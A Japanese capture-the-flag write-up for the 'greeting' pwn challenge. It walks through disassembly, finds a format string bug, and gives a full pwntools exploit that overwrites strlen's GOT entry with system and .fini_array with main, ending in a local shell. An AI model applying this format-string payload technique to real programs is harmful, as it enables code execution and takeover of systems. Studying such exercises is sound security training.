pwnlist baby greeting
下調べ
mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ file greeting |sed -e "s/,/\n/g" greeting: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.24 BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63 not stripped
mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ checksec.sh --file greeting RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH greeting
NX,SSP有効.
解析
プログラムを実行すると名前の入力を求められる.
%pを入力してみる.どうやらFSBがあるらしい.
mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ ./greeting Hello, I'm nao! Please tell me your name... AAAABBBBCCCC%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p Nice to meet you, AAAABBBBCCCC0x80487d0,0xffa5b05c,(nil),(nil),(nil),(nil),0x6563694e,0x206f7420,0x7465656d,0x756f7920,0x4141202c,0x42424141,0x43434242 :)
また,objdumpで逆アセンブルした結果を見ているとnao関数の中にsystem関数を発見.
08048742 <nao>: 8048742: 55 push ebp 8048743: 89 e5 mov ebp,esp 8048745: 83 ec 18 sub esp,0x18 8048748: a1 80 9a 04 08 mov eax,ds:0x8049a80 804874d: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 8048754: 00 8048755: 89 04 24 mov DWORD PTR [esp],eax 8048758: e8 e3 fc ff ff call 8048440 <setbuf@plt> 804875d: a1 a0 9a 04 08 mov eax,ds:0x8049aa0 8048762: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 8048769: 00 804876a: 89 04 24 mov DWORD PTR [esp],eax 804876d: e8 ce fc ff ff call 8048440 <setbuf@plt> 8048772: c7 04 24 9c 87 04 08 mov DWORD PTR [esp],0x804879c 8048779: e8 12 fd ff ff call 8048490 <system@plt> 804877e: c9 leave 804877f: c3 ret
FSBを利用して何か関数をsystem関数に書き換えてあげればよさそう.
しかし,FSBを利用してsystem関数に書き換えられそうな関数がない.困った.__stack_chk_failぐらいか...?
8048643: e8 98 fe ff ff call 80484e0 <sprintf@plt> 8048648: 8d 44 24 1c lea eax,[esp+0x1c] 804864c: 89 04 24 mov DWORD PTR [esp],eax 804864f: e8 fc fd ff ff call 8048450 <printf@plt> 8048654: eb 0c jmp 8048662 <main+0x75> 8048656: c7 04 24 e9 87 04 08 mov DWORD PTR [esp],0x80487e9 804865d: e8 1e fe ff ff call 8048480 <puts@plt> 8048662: 8b 94 24 9c 00 00 00 mov edx,DWORD PTR [esp+0x9c] 8048669: 65 33 15 14 00 00 00 xor edx,DWORD PTR gs:0x14 8048670: 74 05 je 8048677 <main+0x8a> 8048672: e8 f9 fd ff ff call 8048470 <__stack_chk_fail@plt> 8048677: c9 leave 8048678: c3 ret
仕方ないので調べる.
デストラクタというものがあるらしい.exit後に.fini_arrayセクションに登録された関数が実行される.
ということで.fini_arrayをmainに書き換えてやればもう一度プログラムを走らせることが可能になる.
シェルを起動するためにはSystem関数の引数に/bin/shを指定する必要があるので,入力後に入力した値を引数に取るような関数をsystem関数に書き換えれれば都合が良い.
コードを見てみるとstrlen関数を利用すれば良さそう.
8048695: e8 c6 fd ff ff call 8048460 <fgets@plt> 804869a: c7 44 24 04 0a 00 00 mov DWORD PTR [esp+0x4],0xa 80486a1: 00 80486a2: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80486a5: 89 04 24 mov DWORD PTR [esp],eax 80486a8: e8 03 fe ff ff call 80484b0 <strchr@plt> 80486ad: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 80486b0: 83 7d f4 00 cmp DWORD PTR [ebp-0xc],0x0 80486b4: 74 06 je 80486bc <getnline+0x43> 80486b6: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 80486b9: c6 00 00 mov BYTE PTR [eax],0x0 80486bc: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80486bf: 89 04 24 mov DWORD PTR [esp],eax 80486c2: e8 f9 fd ff ff call 80484c0 <strlen@plt>
Exploit
入力した値を格納する変数の位置と一緒に出力される文字列”Nice to meet you, ”の存在に気をつけながらstrlenのgotアドレスをsystem関数上書きと.fini_arrayの関数をmain関数上書きをする.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * #context.log_level = 'debug' conn = process('./greeting') elf = ELF('./greeting') system_plt_addr = elf.plt['system'] strlen_got_addr = elf.got['strlen'] main_addr = elf.symbols['main'] fini_array_addr = elf.get_section_by_name('.fini_array').header.sh_addr system_plt_addr_low = system_plt_addr & 0x000ffff system_plt_addr_high = system_plt_addr >> 16 main_addr_low = main_addr & 0x000ffff payload = "AA" payload += p32(strlen_got_addr + 2) payload += p32(strlen_got_addr) payload += p32(fini_array_addr) payload += "%" + str(system_plt_addr_high - len(payload + "Nice to meet you, ") ) + "x" payload += "%12$hn" payload += "%" + str(system_plt_addr_low - system_plt_addr_high ) + "x" payload += "%13$hn" payload += "%" + str(main_addr_low - system_plt_addr_low ) + "x" payload += "%14$hn" payload += "\n" conn.recv() conn.send(payload) conn.recvuntil("...") conn.send("/bin/sh\n") conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ python exploit.py [+] Starting local process './greeting': pid 31373 [*] '/home/mattun-mart/Workspace/pwn/baby/greeting/greeting' Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) [*] Switching to interactive mode $ ls core dump exploit.py greeting peda-session-greeting.txt